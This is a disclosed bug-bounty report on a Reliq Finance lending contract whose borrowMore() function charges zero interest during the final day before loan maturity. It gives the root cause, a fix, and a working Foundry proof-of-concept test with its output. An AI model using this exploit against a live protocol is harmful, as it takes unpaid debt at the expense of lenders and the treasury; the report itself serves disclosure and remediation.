Status DataClose notification

Reliq Finance Disclosed Report

ReliqHYPE: 'borrowMore()' can charge 0 interest even with 23 hours remaining until maturity

Created date
Dec 17 2025

Target

https://github.com/hackenproof-public/reliq-protocol

Vulnerability Details

Description

I have analysed the ReliqHYPE lending logic, specifically how 'borrowMore()' calculates the remaining loan tenure used to compute the interest fee for additional borrowing.

During this review I observed that 'borrowMore()' computes the "remaining days" as:

uint256 nextMidnight = getMidnightTimestamp(block.timestamp);
uint256 newBorrowTenure = (endDate - nextMidnight) / 1 days;

Because getMidnightTimestamp() rounds up to the next midnight, there is a concrete edge-case:

  • If the borrower calls borrowMore() during the final day before maturity (e.g., 23 hours before endDate),

  • then nextMidnight becomes equal to endDate,

  • causing newBorrowTenure = (endDate - endDate) / 1 days = 0,

  • which makes the interest fee calculation return 0 interest:

    interestFee = borrowed * rateBPS * numberOfDays / (FEE_BASE_BPS * 365);
    // if numberOfDays == 0 => interestFee == 0
    

So the borrower can take additional debt without paying the intended pro-rata interest, even though almost a full day remains until maturity.

Root Cause

The root cause is the use of "next midnight" rounding when computing remaining time:

  • nextMidnight = getMidnightTimestamp(block.timestamp) returns the next midnight (not the current day boundary)

  • This can equal the loan endDate for a large portion of the final day

  • Then newBorrowTenure becomes 0 due to integer division

This effectively gives borrowers a free-interest window near maturity for borrowMore().

Impact

This is a business logic / functional correctness issue that causes the protocol to undercharge interest compared to the intended economics.

What a borrower can do:

  • Open a loan normally

  • Wait until close to maturity (e.g., ~23 hours before endDate)

  • Call borrowMore() and receive the additional borrow amount with zero interest charged

  • This reduces protocol revenue and breaks the "promised returns" / interest model for lenders and the treasury.

I consider this Medium because it:

  • Breaks the intended interest charging model for additional borrowing

  • Causes systematic under-collection of interest near maturity

  • Impacts protocol revenue / expected returns, even if it does not directly steal principal

Recommended fix

Compute remaining time more precisely and ensure at least 1 day is charged when time remains, for example:

  • Use current-day midnight rather than next midnight, or

  • Compute remaining seconds and round up to days (ceil), e.g.:

    remainingDays = (endDate > block.timestamp) ? ceil((endDate - block.timestamp)/1 days) : 0;
    
  • Enforce a minimum of 1 day when endDate > block.timestamp (if that matches intended economics)

Example approach:

uint256 remaining = endDate > block.timestamp ? (endDate - block.timestamp) : 0;
uint256 remainingDays = remaining == 0 ? 0 : (remaining + 1 days - 1) / 1 days; 

Validation steps

I wrote a Foundry PoC using the existing repo test environment.

The PoC demonstrates end-to-end that:

  • With 23 hours remaining until the loan’s endDate, borrowMore() computes newBorrowTenure = 0

  • The borrower receives the full effective additional borrow amount

  • Treasury receives 0 protocol fee because interestFee = 0

  • Yet the expected 1-day interest at 5% APR is clearly > 0

My PoC file Location

test/Lending/BorrowMoreInterestZeroLastDay.t.sol

My POC file Content:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import {ReliqHYPE} from "../../src/ReliqHYPE.sol";
import {InterestManager} from "../../src/InterestManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor() ERC20("Mock Backing Token", "MBK") {}
    function mint(address to, uint256 amt) external { _mint(to, amt); }
}

contract BorrowMoreInterestZeroLastDayTest is Test {
    ReliqHYPE reHYPE;
    InterestManager mgr;
    MockERC20 backing;

    address treasury = makeAddr("treasury");
    address alice    = makeAddr("alice");

    function setUp() public {
        // Make timestamp ~1 minute after a UTC midnight for deterministic behavior
        uint256 base = 1765255628;
        uint256 aligned = base - (base % 86400) + 60;
        vm.warp(aligned);

        backing = new MockERC20();
        reHYPE = new ReliqHYPE(IERC20(address(backing)));

        mgr = new InterestManager(500); // 5% APR
        reHYPE.setTreasuryAddress(treasury);
        reHYPE.setInterestManager(address(mgr));

        // Fund owner + start protocol
        backing.mint(address(this), 1_000_000 ether);
        backing.approve(address(reHYPE), type(uint256).max);

        reHYPE.setStart(100_000 ether, 0);
        reHYPE.setMaxMintable(type(uint256).max);

        // Fund Alice
        backing.mint(alice, 1_000_000 ether);

        vm.prank(alice);
        backing.approve(address(reHYPE), type(uint256).max);
    }

    function test_borrowMore_charges_zero_interest_with_almost_full_day_remaining() public {
        // 1) Alice buys enough relHYPE so she can collateralize borrow + borrowMore
        vm.prank(alice);
        reHYPE.buy(alice, 10_000 ether);

        // 2) Alice opens a 1-day loan (note: endDate rounds to a midnight boundary in the future)
        uint256 borrowAmt = 1_000 ether;

        vm.startPrank(alice);
        reHYPE.borrow(borrowAmt, 1);
        vm.stopPrank();

        // Extract endDate
        (uint256 collat, uint256 debt, uint256 endDate) = reHYPE.getLoanByAddress(alice);
        assertGt(collat, 0, "collateral should be > 0");
        assertGt(debt, 0, "debt should be > 0");
        assertGt(endDate, block.timestamp, "endDate should be in future");

        console.log("borrow endDate =", endDate);

        // 3) Warp to ~23 hours before endDate (i.e., still almost a full day remaining)
        vm.warp(endDate - 23 hours);

        // At this time, borrowMore() will compute:
        // nextMidnight = getMidnightTimestamp(now) == endDate
        // newBorrowTenure = (endDate - nextMidnight) / 1 days = 0
        uint256 nextMidnight = reHYPE.getMidnightTimestamp(block.timestamp);
        console.log("now          =", block.timestamp);
        console.log("nextMidnight =", nextMidnight);
        assertEq(nextMidnight, endDate, "setup: nextMidnight should equal endDate");

        uint256 aliceBackingBefore = backing.balanceOf(alice);
        uint256 treasuryBefore = backing.balanceOf(treasury);

        // 4) Alice borrows more; interestFee becomes 0 due to newBorrowTenure = 0
        vm.startPrank(alice);
        reHYPE.borrowMore(borrowAmt);
        vm.stopPrank();

        uint256 aliceBackingAfter = backing.balanceOf(alice);
        uint256 treasuryAfter = backing.balanceOf(treasury);

        // Effective new debt = 99% of borrowAmt
        uint256 effectiveNewBorrow = (borrowAmt * 9900) / 10000;

        console.log("alice received backing =", aliceBackingAfter - aliceBackingBefore);
        console.log("treasury delta         =", treasuryAfter - treasuryBefore);

        // If interestFee == 0, user receives full effectiveNewBorrow and treasury gets 0
        assertEq(aliceBackingAfter - aliceBackingBefore, effectiveNewBorrow, "BUG: borrowMore charged 0 interest");
        assertEq(treasuryAfter - treasuryBefore, 0, "BUG: protocol fee is 0 due to interestFee=0");

        // Sanity: expected 1-day interest would be > 0 at 5% APR
        uint256 expectedOneDayInterest = (borrowAmt * 500) / (10000 * 365);
        assertGt(expectedOneDayInterest, 0, "expected 1-day interest should be > 0");
        console.log("expected 1-day interest (approx) =", expectedOneDayInterest);
    }
}

Run the POC from the Repo Root

forge test --match-contract BorrowMoreInterestZeroLastDayTest -vvv

My Console Log :

$ forge test --match-contract BorrowMoreInterestZeroLastDayTest -vvv
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.28
[⠃] Solc 0.8.28 finished in 751.48ms
Compiler run successful!

Ran 1 test for test/Lending/BorrowMoreInterestZeroLastDay.t.sol:BorrowMoreInterestZeroLastDayTest
[PASS] test_borrowMore_charges_zero_interest_with_almost_full_day_remaining() (gas: 427207)
Logs:
  borrow endDate = 1765411200
  now          = 1765328400
  nextMidnight = 1765411200
  alice received backing = 990000000000000000000
  treasury delta         = 0
  expected 1-day interest (approx) = 136986301369863013

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.76ms (1.03ms CPU time)

Ran 1 test suite in 18.60ms (2.76ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

What my PoC proved

  • At 23 hours before maturity, nextMidnight == endDate, which forces newBorrowTenure = 0.

  • borrowMore() therefore charges 0 interest and sends 0 protocol fee to treasury.

  • However, even a simple expected one-day interest at 5% APR is clearly > 0 (shown in logs).

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
High
Bounty$47
Visibilitypartially
VulnerabilityBusiness Logic Errors
Participants (4)
company admin
author